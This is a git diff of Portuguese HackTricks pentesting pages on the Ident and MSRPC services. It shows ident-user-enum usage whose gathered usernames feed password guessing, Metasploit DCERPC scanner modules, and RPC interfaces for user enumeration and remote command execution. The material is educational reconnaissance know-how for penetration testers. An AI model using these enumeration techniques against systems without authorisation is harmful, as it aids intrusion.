mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
This commit is contained in:
parent
08a2f294a9
commit
adbf475386
111 changed files with 1848 additions and 1908 deletions
|
@ -1,34 +1,16 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# WebView Protocol Handlers
|
# Manipuladores de Protocolo WebView
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
||||||
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -2,28 +2,30 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||||
Obtenha Acesso Hoje:
|
Obtenha Acesso Hoje:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Informação Básica
|
||||||
|
|
||||||
É um [protocolo](https://en.wikipedia.org/wiki/Protocol\_\(computing\)) da [Internet](https://en.wikipedia.org/wiki/Internet) que ajuda a identificar o usuário de uma conexão [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) específica.
|
O **Protocolo Ident** é usado na **Internet** para associar uma **conexão TCP** a um usuário específico. Originalmente projetado para auxiliar na **gestão de rede** e **segurança**, opera permitindo que um servidor consulte um cliente na porta 113 para solicitar informações sobre o usuário de uma conexão TCP específica.
|
||||||
|
|
||||||
|
No entanto, devido às preocupações modernas com privacidade e ao potencial de uso indevido, seu uso diminuiu, pois pode inadvertidamente revelar informações do usuário a partes não autorizadas. Medidas de segurança aprimoradas, como conexões criptografadas e controles de acesso rigorosos, são recomendadas para mitigar esses riscos.
|
||||||
|
|
||||||
**Porta padrão:** 113
|
**Porta padrão:** 113
|
||||||
```
|
```
|
||||||
|
@ -34,11 +36,11 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
### **Manual - Obter usuário/Identificar o serviço**
|
### **Manual - Obter usuário/Identificar o serviço**
|
||||||
|
|
||||||
Se uma máquina estiver executando o serviço ident e samba (445) e você estiver conectado ao samba usando a porta 43218. Você pode descobrir qual usuário está executando o serviço samba fazendo:
|
Se uma máquina estiver executando o serviço ident e samba (445) e você estiver conectado ao samba usando a porta 43218. Você pode obter qual usuário está executando o serviço samba fazendo:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (15) (1) (1).png>)
|
![](<../.gitbook/assets/image (15) (1) (1).png>)
|
||||||
|
|
||||||
Se você apenas pressionar enter quando se conectar ao serviço:
|
Se você apenas pressionar Enter ao se conectar ao serviço:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (16) (1) (1).png>)
|
![](<../.gitbook/assets/image (16) (1) (1).png>)
|
||||||
|
|
||||||
|
@ -48,7 +50,7 @@ Outros erros:
|
||||||
|
|
||||||
### Nmap
|
### Nmap
|
||||||
|
|
||||||
Por padrão (-sC), o nmap identificará todos os usuários de todas as portas em execução:
|
Por padrão (`-sC``) o nmap identificará todos os usuários de todas as portas em execução:
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
|
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
|
||||||
|
@ -65,7 +67,7 @@ PORT STATE SERVICE VERSION
|
||||||
```
|
```
|
||||||
### Ident-user-enum
|
### Ident-user-enum
|
||||||
|
|
||||||
Ident-user-enum é um script PERL simples para consultar o serviço ident (113/TCP) com o objetivo de determinar o proprietário do processo que está ouvindo em cada porta TCP de um sistema alvo. A lista de nomes de usuário coletada pode ser usada para ataques de adivinhação de senha em outros serviços de rede. Pode ser instalado com `apt install ident-user-enum`.
|
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) é um simples script PERL para consultar o serviço ident (113/TCP) a fim de determinar o proprietário do processo que está ouvindo em cada porta TCP de um sistema alvo. A lista de nomes de usuário coletada pode ser usada para ataques de adivinhação de senha em outros serviços de rede. Pode ser instalado com `apt install ident-user-enum`.
|
||||||
```
|
```
|
||||||
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
|
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
|
||||||
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
||||||
|
@ -85,12 +87,12 @@ identd.conf
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com o suporte das ferramentas comunitárias **mais avançadas** do mundo.\
|
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** alimentados pelas ferramentas comunitárias **mais avançadas** do mundo.\
|
||||||
Obtenha Acesso Hoje:
|
Obtenha Acesso Hoje:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
## Comandos Automáticos HackTricks
|
## Comandos Automáticos do HackTricks
|
||||||
```
|
```
|
||||||
Protocol_Name: Ident #Protocol Abbreviation if there is one.
|
Protocol_Name: Ident #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 113 #Comma separated if there is more than one.
|
Port_Number: 113 #Comma separated if there is more than one.
|
||||||
|
@ -100,7 +102,7 @@ Entry_1:
|
||||||
Name: Notes
|
Name: Notes
|
||||||
Description: Notes for Ident
|
Description: Notes for Ident
|
||||||
Note: |
|
Note: |
|
||||||
Is an Internet protocol that helps identify the user of a particular TCP connection.
|
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
|
||||||
|
|
||||||
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
|
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
|
||||||
|
|
||||||
|
@ -111,14 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,14 +2,14 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -33,7 +33,7 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
|
||||||
|
|
||||||
O protocolo Microsoft Remote Procedure Call (MSRPC), um modelo cliente-servidor que permite a um programa solicitar um serviço de um programa localizado em outro computador sem entender os detalhes da rede, foi inicialmente derivado de software de código aberto e posteriormente desenvolvido e protegido por direitos autorais pela Microsoft.
|
O protocolo Microsoft Remote Procedure Call (MSRPC), um modelo cliente-servidor que permite a um programa solicitar um serviço de um programa localizado em outro computador sem entender os detalhes da rede, foi inicialmente derivado de software de código aberto e posteriormente desenvolvido e protegido por direitos autorais pela Microsoft.
|
||||||
|
|
||||||
O mapeador de pontos de extremidade RPC pode ser acessado via porta TCP e UDP 135, SMB no TCP 139 e 445 (com uma sessão nula ou autenticada), e como um serviço da web na porta TCP 593.
|
O mapeador de pontos de extremidade RPC pode ser acessado via porta TCP e UDP 135, SMB na porta TCP 139 e 445 (com uma sessão nula ou autenticada), e como um serviço da web na porta TCP 593.
|
||||||
```
|
```
|
||||||
135/tcp open msrpc Microsoft Windows RPC
|
135/tcp open msrpc Microsoft Windows RPC
|
||||||
```
|
```
|
||||||
|
@ -53,7 +53,7 @@ Annotation: Messenger Service
|
||||||
UUID: 00000000-0000-0000-0000-000000000000
|
UUID: 00000000-0000-0000-0000-000000000000
|
||||||
Binding: ncadg_ip_udp:<IP>[1028]
|
Binding: ncadg_ip_udp:<IP>[1028]
|
||||||
```
|
```
|
||||||
O acesso ao serviço de localização RPC é habilitado por meio de protocolos específicos: ncacn\_ip\_tcp e ncadg\_ip\_udp para acesso via porta 135, ncacn\_np para conexões SMB e ncacn\_http para comunicação RPC baseada na web. Os comandos a seguir exemplificam a utilização de módulos do Metasploit para auditoria e interação com serviços MSRPC, focando principalmente na porta 135:
|
O acesso ao serviço de localização RPC é habilitado por meio de protocolos específicos: ncacn\_ip\_tcp e ncadg\_ip\_udp para acesso via porta 135, ncacn\_np para conexões SMB e ncacn\_http para comunicação RPC baseada na web. Os comandos a seguir exemplificam a utilização de módulos do Metasploit para auditar e interagir com os serviços MSRPC, focando principalmente na porta 135:
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||||
use auxiliary/scanner/dcerpc/hidden
|
use auxiliary/scanner/dcerpc/hidden
|
||||||
|
@ -65,47 +65,54 @@ Todas as opções, exceto `tcp_dcerpc_auditor`, são especificamente projetadas
|
||||||
|
|
||||||
#### Interfaces RPC notáveis
|
#### Interfaces RPC notáveis
|
||||||
|
|
||||||
**IFID**: 12345778-1234-abcd-ef00-0123456789ab
|
* **IFID**: 12345778-1234-abcd-ef00-0123456789ab
|
||||||
**Named Pipe**: \pipe\lsarpc
|
* **Named Pipe**: `\pipe\lsarpc`
|
||||||
**Descrição**: Interface LSA, usada para enumerar usuários.
|
* **Descrição**: Interface LSA, usada para enumerar usuários.
|
||||||
|
|
||||||
**IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
|
|
||||||
**Named Pipe**: \pipe\lsarpc
|
|
||||||
**Descrição**: Interface de Serviços de Diretório (DS) LSA, usada para enumerar domínios e relacionamentos de confiança.
|
|
||||||
|
|
||||||
**IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
* **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
|
||||||
**Named Pipe**: \pipe\samr
|
* **Named Pipe**: `\pipe\lsarpc`
|
||||||
**Descrição**: Interface SAMR LSA, usada para acessar elementos públicos do banco de dados SAM (por exemplo, nomes de usuários) e forçar senhas de usuários, independentemente da política de bloqueio de conta.
|
* **Descrição**: Interface de Serviços de Diretório (DS) LSA, usada para enumerar domínios e relacionamentos de confiança.
|
||||||
|
|
||||||
**IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
|
||||||
**Named Pipe**: \pipe\atsvc
|
|
||||||
**Descrição**: Agendador de tarefas, usado para executar comandos remotamente.
|
|
||||||
|
|
||||||
**IFID**: 338cd001-2244-31f1-aaaa-900038001003
|
* **IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
||||||
**Named Pipe**: \pipe\winreg
|
* **Named Pipe**: `\pipe\samr`
|
||||||
**Descrição**: Serviço de registro remoto, usado para acessar e modificar o registro do sistema.
|
* **Descrição**: Interface SAMR LSA, usada para acessar elementos públicos do banco de dados SAM (por exemplo, nomes de usuários) e forçar senhas de usuários, independentemente da política de bloqueio de conta.
|
||||||
|
|
||||||
**IFID**: 367abb81-9844-35f1-ad32-98f038001003
|
|
||||||
**Named Pipe**: \pipe\svcctl
|
|
||||||
**Descrição**: Gerenciador de controle de serviços e serviços de servidor, usado para iniciar e parar serviços remotamente e executar comandos.
|
|
||||||
|
|
||||||
**IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
|
* **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||||
**Named Pipe**: \pipe\srvsvc
|
* **Named Pipe**: `\pipe\atsvc`
|
||||||
**Descrição**: Gerenciador de controle de serviços e serviços de servidor, usado para iniciar e parar serviços remotamente e executar comandos.
|
* **Descrição**: Agendador de tarefas, usado para executar comandos remotamente.
|
||||||
|
|
||||||
**IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
|
||||||
**Named Pipe**: \pipe\epmapper
|
* **IFID**: 338cd001-2244-31f1-aaaa-900038001003
|
||||||
**Descrição**: Interface DCOM, usada para forçar a moagem de senhas e coletar informações via WM.
|
* **Named Pipe**: `\pipe\winreg`
|
||||||
|
* **Descrição**: Serviço de registro remoto, usado para acessar e modificar o registro do sistema.
|
||||||
|
|
||||||
|
|
||||||
|
* **IFID**: 367abb81-9844-35f1-ad32-98f038001003
|
||||||
|
* **Named Pipe**: `\pipe\svcctl`
|
||||||
|
* **Descrição**: Gerenciador de controle de serviços e serviços de servidor, usado para iniciar e parar serviços remotamente e executar comandos.
|
||||||
|
|
||||||
|
|
||||||
|
* **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
|
||||||
|
* **Named Pipe**: `\pipe\srvsvc`
|
||||||
|
* **Descrição**: Gerenciador de controle de serviços e serviços de servidor, usado para iniciar e parar serviços remotamente e executar comandos.
|
||||||
|
|
||||||
|
|
||||||
|
* **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
||||||
|
* **Named Pipe**: `\pipe\epmapper`
|
||||||
|
* **Descrição**: Interface DCOM, usada para força bruta de senhas e coleta de informações via WM.
|
||||||
|
|
||||||
### Identificando endereços IP
|
### Identificando endereços IP
|
||||||
|
|
||||||
Usando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente da pesquisa da [Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), é possível abusar do método _**ServerAlive2**_ dentro da interface _**IOXIDResolver**_.
|
Usando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente da pesquisa da [Airbus](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), é possível abusar do método _**ServerAlive2**_ dentro da interface _**IOXIDResolver**_.
|
||||||
|
|
||||||
Este método foi usado para obter informações de interface como endereço **IPv6** da caixa HTB _APT_. Veja [aqui](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) para o artigo do 0xdf sobre APT, que inclui um método alternativo usando rpcmap.py do [Impacket](https://github.com/SecureAuthCorp/impacket/) com _stringbinding_ (veja acima).
|
Este método foi usado para obter informações de interface como endereço **IPv6** da máquina HTB _APT_. Veja [aqui](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) o artigo da 0xdf sobre o APT, que inclui um método alternativo usando rpcmap.py do [Impacket](https://github.com/SecureAuthCorp/impacket/) com _stringbinding_ (veja acima).
|
||||||
|
|
||||||
## Porta 593
|
## Porta 593
|
||||||
|
|
||||||
O **rpcdump.exe** de [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) pode interagir com esta porta.
|
O **rpcdump.exe** do [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) pode interagir com esta porta.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
||||||
|
@ -136,7 +143,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,19 +1,37 @@
|
||||||
## NetBios Name Service
|
# 137,138,139 - Teste de penetração no NetBios
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
